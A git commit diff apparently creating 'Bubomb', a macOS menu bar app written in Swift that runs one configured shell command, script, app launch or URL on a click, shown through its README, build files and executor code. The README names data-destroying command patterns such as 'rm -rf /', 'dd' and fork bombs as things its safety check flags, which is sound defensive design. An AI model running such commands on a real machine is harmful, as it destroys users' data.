diff options
| author | gigagamerchaddhruv-spec <gigagamerchaddhruv-spec@users.noreply.github.com> | 2026-10-14 20:18:20 +0530 |
|---|---|---|
| committer | gigagamerchaddhruv-spec <gigagamerchaddhruv-spec@users.noreply.github.com> | 2026-10-14 20:18:20 +0530 |
| commit | aceca8b5dfc8edd378ee9ff891bccb0f94c69f31 (patch) | |
| tree | 08401ce8d050afbbe77514f479601a8e9535f4ec | |
48 files changed, 5414 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..dc60f11 --- /dev/null +++ b/.gitignore @@ -0,0 +1,9 @@ +.DS_Store +/.build +/Bubomb.app +/Packages +xcuserdata/ +DerivedData/ +.swiftpm/configuration/registries.json +.swiftpm/xcode/package.xcworkspace/contents.xcworkspacedata +.netrc @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Bubomb Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..9c361d2 --- /dev/null +++ b/Makefile @@ -0,0 +1,18 @@ +.PHONY: all build test app run clean + +all: app test + +build: + swift build + +test: + swift run BubombTests + +app: + bash scripts/build_app.sh + +run: + bash scripts/run.sh + +clean: + rm -rf .build Bubomb.app diff --git a/Package.swift b/Package.swift new file mode 100644 index 0000000..f5ada4a --- /dev/null +++ b/Package.swift @@ -0,0 +1,38 @@ +// swift-tools-version: 5.9 +import PackageDescription + +let package = Package( + name: "Bubomb", + platforms: [ + .macOS(.v14) + ], + products: [ + .executable(name: "Bubomb", targets: ["BubombApp"]), + .executable(name: "BubombTests", targets: ["BubombTests"]), + .library(name: "BubombCore", targets: ["BubombCore"]), + .library(name: "BubombUI", targets: ["BubombUI"]) + ], + dependencies: [], + targets: [ + .target( + name: "BubombCore", + dependencies: [], + path: "Sources/BubombCore" + ), + .target( + name: "BubombUI", + dependencies: ["BubombCore"], + path: "Sources/BubombUI" + ), + .executableTarget( + name: "BubombApp", + dependencies: ["BubombCore", "BubombUI"], + path: "Sources/BubombApp" + ), + .executableTarget( + name: "BubombTests", + dependencies: ["BubombCore"], + path: "Tests/BubombCoreTests" + ) + ] +) diff --git a/README.md b/README.md new file mode 100644 index 0000000..65874ca --- /dev/null +++ b/README.md @@ -0,0 +1,358 @@ +<div align="center"> + +<img src="Resources/AppIcon.png" alt="Bubomb App Icon" width="140" height="140" style="border-radius: 28px; box-shadow: 0 10px 30px rgba(255, 107, 0, 0.35);" /> + +# π£ BUBOMB + +### **Configure the boom.** + +*A native, ultra-minimal macOS menu bar utility designed for instant, zero-latency detonation of your most critical action.* + +<br/> + +[](https://apple.com) +[](https://swift.org) +[](https://github.com/gigagamerchaddhruv-spec/bubomb) +[-7A5AF8?style=for-the-badge)](https://github.com/gigagamerchaddhruv-spec/bubomb) +[](LICENSE) + +<br/> + +> **"One bomb. One configured action. One click. BOOM."** + +<br/> + +[Key Highlights](#-why-bubomb) β’ +[Menu Bar Experience](#-menu-bar-experience) β’ +[Architecture](#-system-architecture) β’ +[Payload Engines](#-supported-payloads) β’ +[Quick Recipes](#-battle-tested-recipes) β’ +[Installation & Build](#-build--quickstart) + +<br/> + +--- + +</div> + +<br/> + +## β‘ The Philosophy + +Most automation tools on macOS have become bloated command centers. You trigger a hotkey, wait for a spotlight modal to render, type a search query, select an item from a list, press Enter, and wait. + +**Bubomb cuts through the noise.** + +You configure what matters **once**. When that moment comesβdeploying code, launching a deep-work stack, blowing away docker caches, or firing a build pipelineβyou simply click the tiny bomb resting quietly in your menu bar. + +**Zero searching. Zero modals. Immediate detonation.** + +<br/> + +``` + Traditional Menu Bar Tools Bubomb + βββββββββββββββββββββββββββββ βββββββββββββββββββββββββββ + β 1. Click menu item β β 1. Click the bomb. β + β 2. Scroll through 15 itemsβ vs β β + β 3. Open sub-menu β β π₯ BOOM. Done. β + β 4. Confirm dialog β βββββββββββββββββββββββββββ + β 5. Wait for output... β + βββββββββββββββββββββββββββββ +``` + +<br/> + +--- + +## β¨ Why Bubomb? + +| Feature | What You Get | +| :--- | :--- | +| π― **Instant Detonation** | Left-click detonates directly with **0ms interaction delay**. No intermediate dropdowns. | +| π **True macOS Native** | Built in **Swift 6**, **SwiftUI**, and **AppKit** (`NSStatusItem`). 100% Cocoa. | +| πͺΆ **Featherweight** | Tiny memory footprint (~18MB RAM), 0% idle CPU, no Electron or web wrappers. | +| π¨ **Dynamic Vector Bomb** | Silhouette adapts natively to Light and Dark macOS menu bars. Dynamic burning fuse sparks and explosion burst animations. | +| π‘οΈ **Subprocess Armor** | Pipe deadlock protection, asynchronous stream drains, supervisor timeouts, and SIGKILL safety nets. | +| β οΈ **Destructive Guard** | Automated heuristic scanning guards against catastrophic patterns (`rm -rf /`, `dd`, fork bombs). | +| π **100% Offline & Sovereign** | No servers, no telemetry, no cloud keys. All logs and scripts stay on your Mac. | + +<br/> + +--- + +## π₯ Menu Bar Experience + +Bubomb lives as an unobtrusive status accessory (`LSUIElement = true`), leaving your Dock clean. + +```mermaid +flowchart TD + Click([User Clicks Menu Bar Bomb]) --> Check{Is Payload Armed?} + + Check -- No --> Settings[Open Bubomb Settings Window] + Check -- Yes --> Detonate[Detonate Configured Action] + + Detonate --> Ignite[Ignite Fuse Animation] + Ignite --> Exec[Execute Async in Background] + Exec --> Result{Execution Success?} + + Result -- Yes --> Boom[π₯ Starburst BOOM & Audio Chime] + Result -- No --> Fail[β Red Alert Indicator & Log Failure] + + Boom --> Idle[Return to Armed Idle] + Fail --> Idle +``` + +### Direct Clicks vs. Power Menu + +* **Normal Left-Click:** Detonates the configured payload immediately. If no payload is armed, opens the Settings window. +* **Right-Click / Control-Click:** Unfurls the utility power menu: + * π£ `Bubomb β Configure the boom` + * π₯ `Detonate Payload (Return)` + * βοΈ `Settings... (Cmd+,)` + * βΉοΈ `Cancel Running Task (during execution)` + * πͺ `Quit Bubomb (Cmd+Q)` + +<br/> + +--- + +## π¨ Iconography & Animation Engine + +Bubomb features original vector artwork designed for crisp rendering at 18Γ18pt menu bar dimensions: + +* **Idle (Template):** Minimalist monochrome bomb silhouette matching your system accents. +* **Detonating (Burning):** High-speed animated fuse ignition with warm orange (`#FF6B00`) and amber (`#FFAA00`) sparks flickering at 120ms intervals. +* **Completion (Success):** Tasteful 8-ray starburst explosion animation, accompanied by a subtle completion sound. +* **Completion (Failure):** Subtle warning badge indicating a non-zero exit status or timeout. +* **Accessibility:** Fully honors macOS `Reduce Motion` preference (`accessibilityDisplayShouldReduceMotion`). + +<br/> + +--- + +## π§© Supported Payloads + +Bubomb includes five typed, extensible payload engines: + +### 1. π» Shell Command +Direct binary execution or explicit shell invocation (`/bin/zsh`, `/bin/bash`, `/bin/sh`). +- Working directory selection with directory picker. +- Parameterized arguments array. +- Custom environment variable key-value table. +- Configurable execution timeouts (5s to 120s or infinite). + +### 2. π Open Application +Instant native app launching via `NSWorkspace`. +- Pick applications from `/Applications` with macOS file panel. +- Pass custom launch arguments to binaries. + +### 3. π Open Web Destination +Opens validated HTTP and HTTPS destinations in your default macOS browser. +- Live URL scheme and host validator. + +### 4. π Run Local Script +Execute scripts (`.sh`, `.py`, `.rb`, `.zsh`, `.pl`) safely. +- Automatic shebang detection (`#!/usr/bin/env python3`). +- Automatic interpreter resolution without silently mutating file permissions. + +### 5. βοΈ Multi-Step Sequence +Chain multiple diverse actions in deterministic order. +- Reorder steps with drag / arrows. +- Live progress reporting (`Step 2 of 4: Running Build...`). +- Configurable failure policy: `stopOnError` or `continueOnError`. + +<br/> + +--- + +## π System Architecture + +Bubomb is structured as a decoupled Swift package: + +```mermaid +graph LR + subgraph UI ["BubombUI (SwiftUI + AppKit)"] + MB["MenuBarController"] + BV["BombIconRenderer"] + SV["SettingsView"] + WM["WindowManager"] + end + + subgraph Core ["BubombCore (Foundation + Swift Concurrency)"] + PE["PayloadExecutor (@MainActor)"] + PR["ProcessRunner (TaskGroup Pipes)"] + SP["SafetyPolicy (Heuristic Engine)"] + SS["SettingsStore (UserDefaults + JSON)"] + end + + MB -->|Click| PE + PE -->|Evaluate| SP + PE -->|Run| PR + PE -->|Persist| SS + PE -.->|State Broadcast| MB + PE -.->|Logs & History| SV +``` + +### Concurrency & Deadlock Elimination +Many macOS apps freeze when subprocesses output large streams because Foundation's `Pipe` buffer (64 KB) fills up before exit. Bubomb uses concurrent non-blocking `readabilityHandler` streams and modern Swift `TaskGroup` routines to drain output buffers in real time, guaranteeing zero UI stalls. + +<br/> + +--- + +## π³ Battle-Tested Recipes + +Here are a few popular payloads Bubomb users keep armed: + +### Recipe 1: The "Emergency Production Reset" +```bash +# Type: Shell Command +docker compose down -v && docker compose up -d --build +``` + +### Recipe 2: The "Deep Work Workspace" +``` +Type: Multi-step Sequence +1. Open App: /Applications/Visual Studio Code.app +2. Open App: /System/Applications/Utilities/Terminal.app +3. Open URL: https://linear.app/my-team/inbox +4. Shell Command: cd ~/code/core && git pull --rebase +``` + +### Recipe 3: The "Flush All macOS Caches" +```bash +# Type: Shell Command +dscacheutil -flushcache && sudo killall -HUP mDNSResponder +``` + +<br/> + +--- + +## π§ͺ Comprehensive Test Suite + +Bubomb includes 29 automated tests verifying every aspect of validation, safety heuristics, process supervision, timeouts, and sequential execution. + +```bash +make test +``` + +``` +π£ Running Bubomb Test Suite... + +β’ PayloadValidationTests + β testEmptyPayloadNameThrows (0.000s) + β testEmptyCommandThrows (0.000s) + β testValidShellCommandPasses (0.000s) + β testNonExistentShellThrows (0.000s) + β testNonExistentWorkingDirectoryThrows (0.000s) + β testInvalidURLThrows (0.000s) + β testValidURLPasses (0.000s) + β testNonExistentScriptThrows (0.000s) + β testEmptySequenceThrows (0.000s) + +β’ SettingsStoreTests + β testInitialSettings (0.004s) + β testSaveAndRetrieveActivePayload (0.004s) + β testExecutionHistoryCap (0.041s) + β testClearHistory (0.005s) + β testResetToDefaults (0.004s) + +β’ ProcessRunnerTests + β testSuccessfulCommandExecution (0.068s) + β testShellCommandExecutorWithArguments (0.073s) + β testNonZeroExitStatusThrows (0.067s) + β testEnvironmentVariablesPassedToProcess (0.083s) + β testWorkingDirectory (0.068s) + β testProcessTimeout (0.346s) + β testProcessCancellation (0.135s) + +β’ URLLauncherTests + β testValidURLs (0.000s) + β testInvalidURLs (0.000s) + +β’ SafetyPolicyTests + β testDestructiveCommandsDetected (0.005s) + β testSuspiciousCommandsDetected (0.001s) + β testSafeCommandsPass (0.003s) + +β’ SequenceExecutorTests + β testSuccessfulSequentialExecution (0.141s) + β testSequenceStopsOnErrorWhenConfigured (0.065s) + β testSequenceContinuesOnErrorWhenConfigured (0.073s) + +-------------------------------------------------- +π₯ All 29 tests passed in 1.19s! BOOM! +``` + +<br/> + +--- + +## π Build & Quickstart + +### Prerequisites +* macOS 14.0 (Sonoma) or newer. +* Xcode Command Line Tools or full Xcode. + +### 1. Build and Run +```bash +git clone git@github.com:gigagamerchaddhruv-spec/bubomb.git +cd bubomb + +# Build and assemble Bubomb.app release bundle +make app + +# Launch in your menu bar +make run +``` + +### 2. Available Make Targets +```bash +make build # Compile debug build via SwiftPM +make test # Run all 29 automated test cases +make app # Package and ad-hoc sign Bubomb.app +make run # Launch Bubomb.app +make clean # Remove build artifacts +``` + +<br/> + +--- + +## β¨οΈ Keyboard Shortcuts + +| Shortcut | Action | +| :--- | :--- | +| `Cmd + S` | Save active payload configuration | +| `Cmd + Return` | Test / detonate payload from settings | +| `Cmd + 1` | Switch to **Payload** tab | +| `Cmd + 2` | Switch to **Execution Log** tab | +| `Cmd + 3` | Switch to **General** tab | +| `Cmd + W` | Close Settings window (Bubomb stays armed in menu bar) | +| `Cmd + Q` | Quit Bubomb completely | + +<br/> + +--- + +## π Security & Privacy Policy + +* **No Privileged Escalation:** Bubomb never invokes `sudo` or requests root privileges automatically. +* **No Telemetry:** Bubomb contains zero analytics, tracking beacons, or remote logging. +* **Integrity Guard:** Evaluates shell payloads for destructive triggers (`rm -rf ~`, formatting drives) and requires deliberate user override before detonation. +* **Gatekeeper Friendly:** Ad-hoc signed out-of-the-box, fully compatible with Apple Silicon and modern macOS runtime protections. + +<br/> + +--- + +<div align="center"> + +**Bubomb** is crafted with β€οΈ for developers who love speed, simplicity, and clean macOS design. + +*"Configure the boom. Click the bomb. Get the result."* + +[β Star on GitHub](https://github.com/gigagamerchaddhruv-spec/bubomb) β’ [Report Issue](https://github.com/gigagamerchaddhruv-spec/bubomb/issues) + +</div> diff --git a/Resources/AppIcon.icns b/Resources/AppIcon.icns Binary files differnew file mode 100644 index 0000000..3860260 --- /dev/null +++ b/Resources/AppIcon.icns diff --git a/Resources/AppIcon.png b/Resources/AppIcon.png Binary files differnew file mode 100644 index 0000000..b340da9 --- /dev/null +++ b/Resources/AppIcon.png diff --git a/Resources/Info.plist b/Resources/Info.plist new file mode 100644 index 0000000..4ae8cde --- /dev/null +++ b/Resources/Info.plist @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleIdentifier</key> + <string>com.bubomb.app</string> + <key>CFBundleName</key> + <string>Bubomb</string> + <key>CFBundleDisplayName</key> + <string>Bubomb</string> + <key>CFBundleExecutable</key> + <string>Bubomb</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + <key>CFBundleShortVersionString</key> + <string>1.0.0</string> + <key>CFBundleVersion</key> + <string>1</string> + <key>CFBundleIconFile</key> + <string>AppIcon</string> + <key>LSMinimumSystemVersion</key> + <string>14.0</string> + <key>LSUIElement</key> + <true/> + <key>NSHighResolutionCapable</key> + <true/> + <key>NSHumanReadableCopyright</key> + <string>Copyright Β© 2026 Bubomb. All rights reserved.</string> +</dict> +</plist> diff --git a/Sources/BubombApp/AppDelegate.swift b/Sources/BubombApp/AppDelegate.swift new file mode 100644 index 0000000..e0abdd2 --- /dev/null +++ b/Sources/BubombApp/AppDelegate.swift @@ -0,0 +1,76 @@ +import AppKit +import BubombCore +import BubombUI + +/// Main application delegate coordinating startup, menu bar presence, and menu shortcuts. +@MainActor +public final class AppDelegate: NSObject, NSApplicationDelegate { + private let settingsStore = SettingsStore.shared + private let executor = PayloadExecutor.shared + + public func applicationDidFinishLaunching(_ notification: Notification) { + // Enforce menu bar accessory mode (no Dock icon) + NSApp.setActivationPolicy(.accessory) + + // Install standard macOS edit and window menus so Cmd+C/V/A/Z/W work in text fields + setupStandardMenus() + + // Initialize Menu Bar Status Item + MenuBarController.shared.setup() + + // If no payload is armed or startSilentlyInMenuBar is disabled, show Settings window + if settingsStore.settings.activePayload == nil || !settingsStore.settings.startSilentlyInMenuBar { + WindowManager.shared.showSettingsWindow(settingsStore: settingsStore, executor: executor) + } + } + + public func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool { + // Menu bar utility stays active when settings window is closed + return false + } + + private func setupStandardMenus() { + let mainMenu = NSMenu() + + // App Menu + let appMenuItem = NSMenuItem() + let appMenu = NSMenu() + appMenu.addItem(withTitle: "About Bubomb", action: #selector(showAbout), keyEquivalent: "") + appMenu.addItem(NSMenuItem.separator()) + appMenu.addItem(withTitle: "Settings...", action: #selector(openSettings), keyEquivalent: ",") + appMenu.addItem(NSMenuItem.separator()) + appMenu.addItem(withTitle: "Quit Bubomb", action: #selector(NSApplication.terminate(_:)), keyEquivalent: "q") + appMenuItem.submenu = appMenu + mainMenu.addItem(appMenuItem) + + // Edit Menu (Essential for Cmd+C, Cmd+V, Cmd+X, Cmd+A, Cmd+Z in text boxes) + let editMenuItem = NSMenuItem() + let editMenu = NSMenu(title: "Edit") + editMenu.addItem(withTitle: "Undo", action: Selector(("undo:")), keyEquivalent: "z") + editMenu.addItem(withTitle: "Redo", action: Selector(("redo:")), keyEquivalent: "Z") + editMenu.addItem(NSMenuItem.separator()) + editMenu.addItem(withTitle: "Cut", action: #selector(NSText.cut(_:)), keyEquivalent: "x") + editMenu.addItem(withTitle: "Copy", action: #selector(NSText.copy(_:)), keyEquivalent: "c") + editMenu.addItem(withTitle: "Paste", action: #selector(NSText.paste(_:)), keyEquivalent: "v") + editMenu.addItem(withTitle: "Select All", action: #selector(NSText.selectAll(_:)), keyEquivalent: "a") + editMenuItem.submenu = editMenu + mainMenu.addItem(editMenuItem) + + // Window Menu + let windowMenuItem = NSMenuItem() + let windowMenu = NSMenu(title: "Window") + windowMenu.addItem(withTitle: "Close Window", action: #selector(NSWindow.performClose(_:)), keyEquivalent: "w") + windowMenuItem.submenu = windowMenu + mainMenu.addItem(windowMenuItem) + + NSApp.mainMenu = mainMenu + } + + @objc private func openSettings() { + WindowManager.shared.showSettingsWindow(settingsStore: settingsStore, executor: executor) + } + + @objc private func showAbout() { + WindowManager.shared.showSettingsWindow(settingsStore: settingsStore, executor: executor) + } +} diff --git a/Sources/BubombApp/main.swift b/Sources/BubombApp/main.swift new file mode 100644 index 0000000..11e3fbe --- /dev/null +++ b/Sources/BubombApp/main.swift @@ -0,0 +1,8 @@ +import AppKit + +MainActor.assumeIsolated { + let app = NSApplication.shared + let delegate = AppDelegate() + app.delegate = delegate + _ = NSApplicationMain(CommandLine.argc, CommandLine.unsafeArgv) +} diff --git a/Sources/BubombCore/Executors/ApplicationLauncher.swift b/Sources/BubombCore/Executors/ApplicationLauncher.swift new file mode 100644 index 0000000..27bfd1b --- /dev/null +++ b/Sources/BubombCore/Executors/ApplicationLauncher.swift @@ -0,0 +1,78 @@ +import Foundation +#if canImport(AppKit) +import AppKit +#endif + +/// Launches macOS applications safely using native APIs. +public final class ApplicationLauncher: Sendable { + public init() {} + + public func launch(appPath: String, arguments: [String] = []) async throws -> ExecutionResult { + let startTime = Date() + let validatedPath = try PathValidator.validateApplication(at: appPath).get() + let appURL = URL(fileURLWithPath: validatedPath) + + #if canImport(AppKit) + let config = NSWorkspace.OpenConfiguration() + if !arguments.isEmpty { + config.arguments = arguments + } + + do { + _ = try await withCheckedThrowingContinuation { (continuation: CheckedContinuation<NSRunningApplication, Error>) in + NSWorkspace.shared.openApplication(at: appURL, configuration: config) { app, error in + if let error = error { + continuation.resume(throwing: error) + } else if let app = app { + continuation.resume(returning: app) + } else { + continuation.resume(throwing: ExecutionError.applicationLaunchFailed("Application launch failed without error info.")) + } + } + } + let duration = Date().timeIntervalSince(startTime) + return ExecutionResult( + exitCode: 0, + stdout: "Successfully launched application: \(appURL.lastPathComponent)", + stderr: "", + duration: duration + ) + } catch { + // If native NSWorkspace openApplication threw, try /usr/bin/open as fallback + let runner = ProcessRunner() + var args = ["-a", validatedPath] + if !arguments.isEmpty { + args.append("--args") + args.append(contentsOf: arguments) + } + let res = try await runner.run( + executableURL: URL(fileURLWithPath: "/usr/bin/open"), + arguments: args + ) + return ExecutionResult( + exitCode: res.exitCode, + stdout: "Launched via open tool: \(appURL.lastPathComponent)", + stderr: res.stderr, + duration: Date().timeIntervalSince(startTime) + ) + } + #else + let runner = ProcessRunner() + var args = ["-a", validatedPath] + if !arguments.isEmpty { + args.append("--args") + args.append(contentsOf: arguments) + } + let res = try await runner.run( + executableURL: URL(fileURLWithPath: "/usr/bin/open"), + arguments: args + ) + return ExecutionResult( + exitCode: res.exitCode, + stdout: "Launched via open tool: \(appURL.lastPathComponent)", + stderr: res.stderr, + duration: Date().timeIntervalSince(startTime) + ) + #endif + } +} diff --git a/Sources/BubombCore/Executors/ExecutionResult.swift b/Sources/BubombCore/Executors/ExecutionResult.swift new file mode 100644 index 0000000..2abfa60 --- /dev/null +++ b/Sources/BubombCore/Executors/ExecutionResult.swift @@ -0,0 +1,21 @@ +import Foundation + +/// Output result from any single executor. +public struct ExecutionResult: Sendable { + public var exitCode: Int? + public var stdout: String + public var stderr: String + public var duration: TimeInterval + + public init( + exitCode: Int? = 0, + stdout: String = "", + stderr: String = "", + duration: TimeInterval = 0 + ) { + self.exitCode = exitCode + self.stdout = stdout + self.stderr = stderr + self.duration = duration + } +} diff --git a/Sources/BubombCore/Executors/PayloadExecutor.swift b/Sources/BubombCore/Executors/PayloadExecutor.swift new file mode 100644 index 0000000..2142934 --- /dev/null +++ b/Sources/BubombCore/Executors/PayloadExecutor.swift @@ -0,0 +1,242 @@ +import Foundation +import Combine + +/// Lifecycle state during payload detonation. +public enum DetonationState: Equatable, Sendable { + case idle + case burning(payloadName: String, progressInfo: String?) + case exploded(record: ExecutionRecord) + case failed(record: ExecutionRecord) + + public var isRunning: Bool { + if case .burning = self { return true } + return false + } +} + +/// Central coordinator for executing payloads safely, preventing duplicates, +/// broadcasting state changes, and recording history. +@MainActor +public final class PayloadExecutor: ObservableObject { + public static let shared = PayloadExecutor() + + @Published public private(set) var currentState: DetonationState = .idle + + private let settingsStore: SettingsStore + private var currentShellExecutor: ShellCommandExecutor? + private var currentScriptExecutor: ScriptExecutor? + private var currentSequenceExecutor: SequenceExecutor? + + public init(settingsStore: SettingsStore = .shared) { + self.settingsStore = settingsStore + } + + /// Detonates a payload immediately. + /// - Parameters: + /// - payload: The payload to execute. If nil, uses the store's activePayload. + /// - ignoreSafetyConfirmation: Set to true only after the user explicitly confirmed a destructive action dialog. + /// - Returns: The resulting ExecutionRecord. + @discardableResult + public func detonate( + payload: Payload? = nil, + ignoreSafetyConfirmation: Bool = false + ) async throws -> ExecutionRecord { + let targetPayload: Payload + if let p = payload { + targetPayload = p + } else if let active = settingsStore.settings.activePayload { + targetPayload = active + } else { + let error = ExecutionError.noPayloadConfigured + let dummyRecord = ExecutionRecord( + payloadId: UUID(), + payloadName: "None", + payloadTypeDescription: "None", + startedAt: Date(), + finishedAt: Date(), + duration: 0, + status: .failed, + errorMessage: error.localizedDescription + ) + self.currentState = .failed(record: dummyRecord) + throw error + } + + // Validate payload before launching + do { + try targetPayload.validate() + } catch let err as ExecutionError { + let record = ExecutionRecord( + payloadId: targetPayload.id, + payloadName: targetPayload.name, + payloadTypeDescription: targetPayload.type.typeDisplayName, + startedAt: Date(), + finishedAt: Date(), + duration: 0, + status: .failed, + errorMessage: err.localizedDescription + ) + settingsStore.addExecutionRecord(record) + self.currentState = .failed(record: record) + throw err + } + + // Safety check + if !ignoreSafetyConfirmation { + let alwaysConfirm = settingsStore.settings.confirmDestructiveActions + let (requiresConfirm, _) = SafetyPolicy.requiresConfirmation( + command: commandStringForPayload(targetPayload), + userSettingAlwaysConfirmDestructive: alwaysConfirm || targetPayload.requiresConfirmation + ) + if requiresConfirm { + throw ExecutionError.destructiveActionRejected + } + } + + // Check duplicate execution + if currentState.isRunning { + throw ExecutionError.duplicateExecution + } + self.currentState = .burning(payloadName: targetPayload.name, progressInfo: "Detonating...") + + let startTime = Date() + + do { + let result = try await executeInternal(payload: targetPayload) + let finishedAt = Date() + let duration = finishedAt.timeIntervalSince(startTime) + + let record = ExecutionRecord( + payloadId: targetPayload.id, + payloadName: targetPayload.name, + payloadTypeDescription: targetPayload.type.typeDisplayName, + startedAt: startTime, + finishedAt: finishedAt, + duration: duration, + status: .succeeded, + exitCode: result.exitCode, + standardOutput: result.stdout, + standardError: result.stderr, + errorMessage: nil + ) + + settingsStore.addExecutionRecord(record) + self.currentState = .exploded(record: record) + + // Reset back to idle after short delay to let animations complete + scheduleIdleReset(delay: 1.2) + return record + + } catch { + let finishedAt = Date() + let duration = finishedAt.timeIntervalSince(startTime) + let errString = error.localizedDescription + let exitCode: Int? + + if case .nonZeroExitStatus(let code, _) = (error as? ExecutionError) { + exitCode = code + } else { + exitCode = nil + } + + let status: ExecutionStatus + if case .timeout = (error as? ExecutionError) { + status = .timedOut + } else if case .cancelled = (error as? ExecutionError) { + status = .cancelled + } else { + status = .failed + } + + let record = ExecutionRecord( + payloadId: targetPayload.id, + payloadName: targetPayload.name, + payloadTypeDescription: targetPayload.type.typeDisplayName, + startedAt: startTime, + finishedAt: finishedAt, + duration: duration, + status: status, + exitCode: exitCode, + standardOutput: "", + standardError: "", + errorMessage: errString + ) + + settingsStore.addExecutionRecord(record) + self.currentState = .failed(record: record) + + scheduleIdleReset(delay: 2.0) + throw error + } + } + + /// Cancels any currently running payload execution. + public func cancel() { + currentShellExecutor?.cancel() + currentScriptExecutor?.cancel() + currentSequenceExecutor?.cancel() + + self.currentState = .idle + } + + // MARK: - Private Helpers + + private func executeInternal(payload: Payload) async throws -> ExecutionResult { + switch payload.type { + case .shellCommand(let config): + let executor = ShellCommandExecutor() + self.currentShellExecutor = executor + defer { self.currentShellExecutor = nil } + return try await executor.execute(config: config) + + case .openApplication(let config): + let launcher = ApplicationLauncher() + return try await launcher.launch(appPath: config.applicationPath, arguments: config.arguments) + + case .openURL(let config): + let launcher = URLLauncher() + return try await launcher.open(urlString: config.urlString) + + case .runScript(let config): + let executor = ScriptExecutor() + self.currentScriptExecutor = executor + defer { self.currentScriptExecutor = nil } + return try await executor.execute(config: config) + + case .sequence(let config): + let executor = SequenceExecutor() + self.currentSequenceExecutor = executor + defer { self.currentSequenceExecutor = nil } + return try await executor.execute(config: config) { [weak self] stepIndex, totalSteps, stepName in + Task { @MainActor [weak self] in + self?.currentState = .burning( + payloadName: payload.name, + progressInfo: "Step \(stepIndex)/\(totalSteps): \(stepName)" + ) + } + } + } + } + + private func commandStringForPayload(_ payload: Payload) -> String { + switch payload.type { + case .shellCommand(let config): + return config.command + case .runScript(let config): + return config.scriptPath + case .sequence(let config): + return config.steps.map { $0.summary }.joined(separator: " && ") + default: + return "" + } + } + + private func scheduleIdleReset(delay: TimeInterval) { + DispatchQueue.main.asyncAfter(deadline: .now() + delay) { [weak self] in + guard let self = self else { return } + if !self.currentState.isRunning { + self.currentState = .idle + } + } + } +} diff --git a/Sources/BubombCore/Executors/ProcessRunner.swift b/Sources/BubombCore/Executors/ProcessRunner.swift new file mode 100644 index 0000000..add19fa --- /dev/null +++ b/Sources/BubombCore/Executors/ProcessRunner.swift @@ -0,0 +1,219 @@ +import Foundation + +/// Safe, asynchronous wrapper around Foundation.Process with deadlock-free pipe reading via readabilityHandler, +/// timeout supervision, and cancellation support. +public final class ProcessRunner: @unchecked Sendable { + private let state = ProcessState() + + public init() {} + + /// Runs an executable process with arguments, environment, working directory, and timeout. + public func run( + executableURL: URL, + arguments: [String], + workingDirectory: String? = nil, + environment: [String: String] = [:], + timeoutSeconds: TimeInterval? = nil + ) async throws -> ExecutionResult { + let startTime = Date() + + let proc = Process() + proc.executableURL = executableURL + proc.arguments = arguments + + if let workDir = workingDirectory, !workDir.isEmpty { + proc.currentDirectoryURL = URL(fileURLWithPath: (workDir as NSString).expandingTildeInPath) + } + + var env = ProcessInfo.processInfo.environment + for (k, v) in environment { + env[k] = v + } + proc.environment = env + + let outPipe = Pipe() + let errPipe = Pipe() + proc.standardOutput = outPipe + proc.standardError = errPipe + + let stdoutAccumulator = ThreadSafeAccumulator() + let stderrAccumulator = ThreadSafeAccumulator() + + outPipe.fileHandleForReading.readabilityHandler = { handle in + let chunk = handle.availableData + if chunk.isEmpty { + outPipe.fileHandleForReading.readabilityHandler = nil + } else { + stdoutAccumulator.append(chunk) + } + } + + errPipe.fileHandleForReading.readabilityHandler = { handle in + let chunk = handle.availableData + if chunk.isEmpty { + errPipe.fileHandleForReading.readabilityHandler = nil + } else { + stderrAccumulator.append(chunk) + } + } + + try await state.setProcess(proc) + + do { + try proc.run() + } catch { + outPipe.fileHandleForReading.readabilityHandler = nil + errPipe.fileHandleForReading.readabilityHandler = nil + _ = await state.clearProcess() + throw ExecutionError.processLaunchFailed(error.localizedDescription) + } + + // Timeout supervisor + let timeoutRef = TimeoutRef() + var timeoutTimer: DispatchSourceTimer? + + if let timeout = timeoutSeconds, timeout > 0 { + let timer = DispatchSource.makeTimerSource(queue: DispatchQueue.global(qos: .userInteractive)) + timer.schedule(deadline: .now() + timeout) + timer.setEventHandler { [weak proc] in + timeoutRef.markTimedOut() + proc?.terminate() + + // Force kill if still unresponsive after 500ms + DispatchQueue.global().asyncAfter(deadline: .now() + 0.5) { + if let pid = proc?.processIdentifier, proc?.isRunning == true { + kill(pid, SIGKILL) + } + } + } + timer.resume() + timeoutTimer = timer + } + + // Wait for process exit asynchronously on a global queue + await withCheckedContinuation { continuation in + DispatchQueue.global(qos: .userInitiated).async { + proc.waitUntilExit() + continuation.resume() + } + } + + timeoutTimer?.cancel() + timeoutTimer = nil + + // Clean up readability handlers + outPipe.fileHandleForReading.readabilityHandler = nil + errPipe.fileHandleForReading.readabilityHandler = nil + + // Drain any remaining buffered data + let remainingOut = outPipe.fileHandleForReading.readDataToEndOfFile() + stdoutAccumulator.append(remainingOut) + + let remainingErr = errPipe.fileHandleForReading.readDataToEndOfFile() + stderrAccumulator.append(remainingErr) + + let duration = Date().timeIntervalSince(startTime) + let stdoutString = String(data: stdoutAccumulator.getData(), encoding: .utf8) ?? "" + let stderrString = 